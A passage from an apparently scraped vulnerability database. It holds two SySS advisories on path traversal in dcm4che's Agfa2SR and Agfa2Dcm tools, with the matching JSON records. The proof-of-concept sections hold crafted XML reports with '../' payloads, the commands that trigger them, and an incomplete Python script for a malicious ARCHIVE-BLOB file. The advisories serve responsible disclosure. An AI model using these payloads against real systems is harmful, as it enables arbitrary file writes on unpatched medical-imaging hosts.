Vector 1: getWriter path (Agfa2SR.java:268-271)
When no XSLT stylesheet is configured (via the -x none flag), the report
is written as XML. The StudyInstanceUID extracted from the input XML is
used directly as the output filename without validation:
private BufferedWriter getWriter(String outDir, String siuid) {
return Files.newBufferedWriter(
Paths.get(outDir, siuid + ".xml"), // NO path validation
StandardCharsets.UTF_8);
}
Vector 2: DICOM output path (Agfa2SR.java:240)
When an XSLT stylesheet is configured, the report is converted to DICOM
and the filename is derived from DICOM attribute values via
AttributesFormat.format(). The default format pattern is {0020000D}
(StudyInstanceUID):
File file = new File(outDir, format.format(attrs));
If an attacker provides an Agfa SR report XML containing
<StudyInstanceUID>../outside_agfa2sr</StudyInstanceUID>, the resulting
file path for Vector 1 resolves to:
Paths.get(outDir, "../outside_agfa2sr.xml")
which is the parent directory of outDir. For Vector 2, a StudyInstanceUID
containing "../" in its DICOM attribute value similarly escapes the output
directory via the format.format() substitution.
A crafted Agfa SR report XML is straightforward to construct. It requires
the START_OF_REPORT marker (<agfa:DiagnosticRadiologyReport), the
StudyInstanceUID element containing the traversal payload, and an
END_OF_REPORT marker (</agfa:DiagnosticRadiologyReport>). The agfa2sr
binary processes such input without error.
The root cause is the missing validation of the StudyInstanceUID and
format.format() output before their use in file path operations.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The path traversal (vector 1) can be demonstrated by creating an Agfa SR
report with a path traversal payload in the StudyInstanceUID field.
cat > report1.xml << 'EOF'
<agfa:DiagnosticRadiologyReport xmlns:agfa="http://agfa.com";>
<StudyInstanceUID>../outside_agfa2sr</StudyInstanceUID>
<PatientName>Test^Patient</PatientName>
</agfa:DiagnosticRadiologyReport>
EOF
The output directory for agfa2sr (in this example "/tmp/output") has to
exist.
Running agfa2sr with no XSLT, which triggers the "getWriter" path, writes
the file "/tmp/outside_agfa2sr.xml" one directory level above the
configured output directory.
agfa2sr -x none -d /tmp/output report1.xml
The path traversal (vector 2) allows writes to directies that do not already
exist. The output directory (in this example "/tmp/output") has to exist.
cat > report2.xml << 'EOF'
<agfa:DiagnosticRadiologyReport xmlns:agfa="http://www.agfa.com/hc";>
<StudyInstanceUID>../outside_agfa2sr/poc</StudyInstanceUID>
<OrderDetails>
<AccessionNumber>POC</AccessionNumber>
<ReferringPhysician>
<Name>
<SingleByteName>
<LastName>Doe</LastName>
<FirstName>John</FirstName>
</SingleByteName>
</Name>
</ReferringPhysician>
<StudyDetails>
<StudyInstanceUID>../outside_agfa2sr/poc</StudyInstanceUID>
<StudyDescription>POC Scan</StudyDescription>
<ReasonForStudy>Security testing</ReasonForStudy>
</StudyDetails>
</OrderDetails>
<PatientDetails>
<Name>
<SingleByteName>
<LastName>POC</LastName>
<FirstName>Vector2</FirstName>
</SingleByteName>
</Name>
<Id>
<IdText>PAT001</IdText>
<IdDomain>Hospital</IdDomain>
</Id>
<BirthDate>19800101</BirthDate>
<Sex>M</Sex>
</PatientDetails>
<ReportDetails>
<ReportStatus>Preliminary</ReportStatus>
<InterpretationRecordDate>20260101</InterpretationRecordDate>
<InterpretationRecordTime>120000</InterpretationRecordTime>
<ReportBody>Path traversal PoC for SYSS-2026-080 Vector 2</ReportBody>
</ReportDetails>
</agfa:DiagnosticRadiologyReport>
EOF
Running agfa2sr with this report creates the file "../outside_agfa2sr/poc"
outside the specified output directory in a new directory.
agfa2sr -d /tmp/output report2.xml
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-08-06: Vulnerability reported to manufacturer
2026-09-04: Vulnerability reported to manufacturer again
2026-10-13: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] dcm4che project website
https://www.dcm4che.org/
[2] SySS Security Advisory SYSS-2026-080
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
9 references
{
"containers": {
"cna": {
"affected": [
{
"product": "dcm4che",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-080\nProduct: dcm4che\nManufacturer: J4Care\nAffected Version(s): 5.35.0\nTested Version(s): 5.35.0\n\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure: 2026-10-13\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe Agfa2SR command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can supply an Agfa XML SR (Structured Report) file\nfor processing with Agfa2SR can write files outside the configured output\ndirectory by injecting \"../\" sequences into the StudyInstanceUID field.\n\nThis allows attackers to achieve arbitrary file write on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Agfa2SR tool converts Agfa XML SR reports into DICOM or XML output\nfiles. It processes files containing reports delimited by\n\u003cagfa:DiagnosticRadiologyReport\u003e...\u003c/agfa:DiagnosticRadiologyReport\u003e tags.\n\nTwo path traversal vectors exist in the tool:\n\nVector 1: getWriter path (Agfa2SR.java:268-271)\n\nWhen no XSLT stylesheet is configured (via the -x none flag), the report\nis written as XML. The StudyInstanceUID extracted from the input XML is\nused directly as the output filename without validation:\n\n private BufferedWriter getWriter(String outDir, String siuid) {\n return Files.newBufferedWriter(\n Paths.get(outDir, siuid + \".xml\"), // NO path validation\n StandardCharsets.UTF_8);\n }\n\n\nVector 2: DICOM output path (Agfa2SR.java:240)\n\nWhen an XSLT stylesheet is configured, the report is converted to DICOM\nand the filename is derived from DICOM attribute values via\nAttributesFormat.format(). The default format pattern is {0020000D}\n(StudyInstanceUID):\n\n File file = new File(outDir, format.format(attrs));\n\nIf an attacker provides an Agfa SR report XML containing\n\u003cStudyInstanceUID\u003e../outside_agfa2sr\u003c/StudyInstanceUID\u003e, the resulting\nfile path for Vector 1 resolves to:\n\n Paths.get(outDir, \"../outside_agfa2sr.xml\")\n\nwhich is the parent directory of outDir. For Vector 2, a StudyInstanceUID\ncontaining \"../\" in its DICOM attribute value similarly escapes the output\ndirectory via the format.format() substitution.\n\nA crafted Agfa SR report XML is straightforward to construct. It requires\nthe START_OF_REPORT marker (\u003cagfa:DiagnosticRadiologyReport), the\nStudyInstanceUID element containing the traversal payload, and an\nEND_OF_REPORT marker (\u003c/agfa:DiagnosticRadiologyReport\u003e). The agfa2sr\nbinary processes such input without error.\n\nThe root cause is the missing validation of the StudyInstanceUID and\nformat.format() output before their use in file path operations.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal (vector 1) can be demonstrated by creating an Agfa SR\nreport with a path traversal payload in the StudyInstanceUID field.\n\ncat \u003e report1.xml \u003c\u003c \u0027EOF\u0027\n\u003cagfa:DiagnosticRadiologyReport xmlns:agfa=\"http://agfa.com\";\u003e\n\u003cStudyInstanceUID\u003e../outside_agfa2sr\u003c/StudyInstanceUID\u003e\n\u003cPatientName\u003eTest^Patient\u003c/PatientName\u003e\n\u003c/agfa:DiagnosticRadiologyReport\u003e\nEOF\n\nThe output directory for agfa2sr (in this example \"/tmp/output\") has to\nexist.\n\nRunning agfa2sr with no XSLT, which triggers the \"getWriter\" path, writes\nthe file \"/tmp/outside_agfa2sr.xml\" one directory level above the\nconfigured output directory.\n\nagfa2sr -x none -d /tmp/output report1.xml\n\n\nThe path traversal (vector 2) allows writes to directies that do not already\nexist. The output directory (in this example \"/tmp/output\") has to exist.\n\ncat \u003e report2.xml \u003c\u003c \u0027EOF\u0027\n\u003cagfa:DiagnosticRadiologyReport xmlns:agfa=\"http://www.agfa.com/hc\";\u003e\n \u003cStudyInstanceUID\u003e../outside_agfa2sr/poc\u003c/StudyInstanceUID\u003e\n \u003cOrderDetails\u003e\n \u003cAccessionNumber\u003ePOC\u003c/AccessionNumber\u003e\n \u003cReferringPhysician\u003e\n \u003cName\u003e\n \u003cSingleByteName\u003e\n \u003cLastName\u003eDoe\u003c/LastName\u003e\n \u003cFirstName\u003eJohn\u003c/FirstName\u003e\n \u003c/SingleByteName\u003e\n \u003c/Name\u003e\n \u003c/ReferringPhysician\u003e\n \u003cStudyDetails\u003e\n \u003cStudyInstanceUID\u003e../outside_agfa2sr/poc\u003c/StudyInstanceUID\u003e\n \u003cStudyDescription\u003ePOC Scan\u003c/StudyDescription\u003e\n \u003cReasonForStudy\u003eSecurity testing\u003c/ReasonForStudy\u003e\n \u003c/StudyDetails\u003e\n \u003c/OrderDetails\u003e\n \u003cPatientDetails\u003e\n \u003cName\u003e\n \u003cSingleByteName\u003e\n \u003cLastName\u003ePOC\u003c/LastName\u003e\n \u003cFirstName\u003eVector2\u003c/FirstName\u003e\n \u003c/SingleByteName\u003e\n \u003c/Name\u003e\n \u003cId\u003e\n \u003cIdText\u003ePAT001\u003c/IdText\u003e\n \u003cIdDomain\u003eHospital\u003c/IdDomain\u003e\n \u003c/Id\u003e\n \u003cBirthDate\u003e19800101\u003c/BirthDate\u003e\n \u003cSex\u003eM\u003c/Sex\u003e\n \u003c/PatientDetails\u003e\n \u003cReportDetails\u003e\n \u003cReportStatus\u003ePreliminary\u003c/ReportStatus\u003e\n \u003cInterpretationRecordDate\u003e20260101\u003c/InterpretationRecordDate\u003e\n \u003cInterpretationRecordTime\u003e120000\u003c/InterpretationRecordTime\u003e\n \u003cReportBody\u003ePath traversal PoC for SYSS-2026-080 Vector 2\u003c/ReportBody\u003e\n \u003c/ReportDetails\u003e\n\u003c/agfa:DiagnosticRadiologyReport\u003e\nEOF\n\nRunning agfa2sr with this report creates the file \"../outside_agfa2sr/poc\"\noutside the specified output directory in a new directory.\n\nagfa2sr -d /tmp/output report2.xml\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-080\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:01Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/25"
},
{
"url": "http://agfa.com\""
},
{
"url": "http://www.agfa.com/hc\""
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.dcm4che.org/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/25"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0478",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/25",
"automated": true,
"contentSha256": "1762a53aa93c278b68708182b37a79edf19ab8062550cc2e8fb33b860edcb6ea",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-15T07:32:10Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:01Z",
"dateUpdated": "2026-11-02T07:30:01Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0478"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0477
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-079
Product: dcm4che
Manufacturer: J4Care
Affected Version(s): 5.35.0
Tested Version(s): 5.35.0
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-08-06
Public Disclosure: 2026-10-13
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
and transmitting DICOM data (see [1]).
The Agfa2Dcm command-line tool in dcm4che is vulnerable to a path traversal
attack. An attacker who can supply an Agfa ARCHIVE-BLOB DICOM file for
processing with Agfa2Dcm can write extracted data outside the configured
output directory by injecting "../" sequences into DICOM attribute values.
This allows attackers to achieve arbitrary file write on the target system.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The Agfa2Dcm tool processes Agfa ARCHIVE-BLOB DICOM files by extracting
embedded file entries. Each entry's output path is constructed using
AttributesFormat.format(), which substitutes DICOM attribute values into a
configurable filename pattern (see Agfa2Dcm.java:140):
list.add(part = new Part(format.format(attrs),
dis.getPosition() + headerLength));
The default format pattern is {00080018} (SOPInstanceUID). The formatted
result is used directly as a file path component when extracting the
embedded data (Agfa2Dcm.java:146-149):
Path outPath = Paths.get(outDir, part.path);
Files.createDirectories(outPath.getParent());
try (OutputStream out = Files.newOutputStream(outPath)) {
StreamUtils.copy(in, out, part.length, buffer);
}
No path validation is performed. If a DICOM attribute value contains
"../" sequences, the resulting path escapes the configured output
directory.
A crafted ARCHIVE-BLOB file can be created by encoding the file
padding (16384 bytes of zeros), the "ARCHIVE-BLOB" header (12 bytes),
and DICOM data elements including a (0008,0018) SOPInstanceUID element
with a path traversal payload as its value. The agfa2dcm binary processes
such a file without error, writing the extracted data outside the intended
directory.
The root cause is the missing validation of format.format() output before
its use in file path operations.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The path traversal can be demonstrated by creating an ARCHIVE-BLOB file
with a path traversal payload in the SOPInstanceUID field, for example,
using the following Python script.
The output directory for agfa2dcm (in this example "/tmp/output") has to
exist.
cat > poc.py << 'EOF'
#!/usr/bin/env python3
import struct, subprocess, os
TRAVERSAL = "../outside_agfa2dcm"
# Build DICOM element: (0008,0018) VR=UI value=../outside_agfa2dcm
val = TRAVERSAL.encode('ascii')
# ARCHIVE-BLOB file: 16384 zeros + header + DICOM element
with open("malicious.blob", "wb") as f:
f.write(b'\x00' * 16384)
f.write(b"ARCHIVE-BLOB")
f.write(elem)
# Run agfa2dcm
# agfa2dcm -d /tmp/output malicious.blob
# Verify: file written at /tmp/outside_agfa2dcm (outside /tmp/output)
EOF
The file is written to /tmp/outside_agfa2dcm, one directory level above the
configured output directory, confirming the path traversal.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-08-06: Vulnerability reported to manufacturer
2026-09-04: Vulnerability reported to manufacturer again
2026-10-13: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] dcm4che project website
https://www.dcm4che.org/
[2] SySS Security Advisory SYSS-2026-079
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "dcm4che",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-079\nProduct: dcm4che\nManufacturer: J4Care\nAffected Version(s): 5.35.0\nTested Version(s): 5.35.0\n\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure: 2026-10-13\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe Agfa2Dcm command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can supply an Agfa ARCHIVE-BLOB DICOM file for\nprocessing with Agfa2Dcm can write extracted data outside the configured\noutput directory by injecting \"../\" sequences into DICOM attribute values.\n\nThis allows attackers to achieve arbitrary file write on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Agfa2Dcm tool processes Agfa ARCHIVE-BLOB DICOM files by extracting\nembedded file entries. Each entry\u0027s output path is constructed using\nAttributesFormat.format(), which substitutes DICOM attribute values into a\nconfigurable filename pattern (see Agfa2Dcm.java:140):\n\n list.add(part = new Part(format.format(attrs),\n dis.getPosition() + headerLength));\n\nThe default format pattern is {00080018} (SOPInstanceUID). The formatted\nresult is used directly as a file path component when extracting the\nembedded data (Agfa2Dcm.java:146-149):\n\n Path outPath = Paths.get(outDir, part.path);\n Files.createDirectories(outPath.getParent());\n try (OutputStream out = Files.newOutputStream(outPath)) {\n StreamUtils.copy(in, out, part.length, buffer);\n }\n\nNo path validation is performed. If a DICOM attribute value contains\n\"../\" sequences, the resulting path escapes the configured output\ndirectory.\n\nA crafted ARCHIVE-BLOB file can be created by encoding the file\npadding (16384 bytes of zeros), the \"ARCHIVE-BLOB\" header (12 bytes),\nand DICOM data elements including a (0008,0018) SOPInstanceUID element\nwith a path traversal payload as its value. The agfa2dcm binary processes\nsuch a file without error, writing the extracted data outside the intended\ndirectory.\n\nThe root cause is the missing validation of format.format() output before\nits use in file path operations.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal can be demonstrated by creating an ARCHIVE-BLOB file\nwith a path traversal payload in the SOPInstanceUID field, for example,\nusing the following Python script.\n\nThe output directory for agfa2dcm (in this example \"/tmp/output\") has to\nexist.\n\ncat \u003e poc.py \u003c\u003c \u0027EOF\u0027\n#!/usr/bin/env python3\nimport struct, subprocess, os\n\nTRAVERSAL = \"../outside_agfa2dcm\"\n\n# Build DICOM element: (0008,0018) VR=UI value=../outside_agfa2dcm\nval = TRAVERSAL.encode(\u0027ascii\u0027)\n\n\n# ARCHIVE-BLOB file: 16384 zeros + header + DICOM element\nwith open(\"malicious.blob\", \"wb\") as f:\n f.write(b\u0027\\x00\u0027 * 16384)\n f.write(b\"ARCHIVE-BLOB\")\n f.write(elem)\n\n# Run agfa2dcm\n# agfa2dcm -d /tmp/output malicious.blob\n\n# Verify: file written at /tmp/outside_agfa2dcm (outside /tmp/output)\nEOF\n\nThe file is written to /tmp/outside_agfa2dcm, one directory level above the\nconfigured output directory, confirming the path traversal.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-079\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:01Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/24"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/24"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.dcm4che.org/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/24"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0477",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/24",
"automated": true,
"contentSha256": "0551f772d8fb9c79e712550e2c028edd0819ec63fd8e767b357564d38a60147f",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/24",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-15T07:32:08Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:01Z",
"dateUpdated": "2026-11-02T07:30:01Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0477"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}